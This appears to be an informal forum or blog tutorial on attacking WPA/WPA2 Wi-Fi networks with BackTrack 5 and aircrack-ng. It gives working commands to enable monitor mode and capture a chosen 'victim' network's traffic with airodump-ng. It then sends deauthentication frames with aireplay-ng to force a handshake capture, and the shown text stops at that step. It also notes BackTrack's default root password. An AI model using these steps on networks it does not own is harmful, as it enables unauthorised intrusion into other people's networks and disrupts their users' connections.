Now, after you have installed backtrack 5 r2 inside virtualbox,
follow this tutorial below.(by the way the username and password for backtrack is root/toor)
Okay open up a terminal and type;

airmon-ng By now (since you have already read my other tutorial)
you should already know what this does but also know how to start you usb wifi.
In this tutorial im going to activate and use wlan0 instead of mon0.
airmon-ng start wlan0
airodump-ng wlan0
now you should see other wifi. Just pick the wpa or wpa2 that you would like to find and copy the bssid number.
(in order to copy the bssid you may need to hold ctrl and press c ). now type;
airodump-ng -c 11 -w example --bssid 00:11:22:33:44:55 wlan0
-c is the channel number of your victim
-w is the file name( you can call it whatever you want)
--bssid is the bssid number
so thus your -c, -w and bssid, should be different.
Now you should be sending packets to the victim but obviously it would be going very slow since there is no handshake agreement.Please wait for a couple of minutes till you get a station mac. Now once you get a station mac number, open up another terminal and type;
aireplay-ng -0 5 -c (station mac) -a (bssid number) wlan0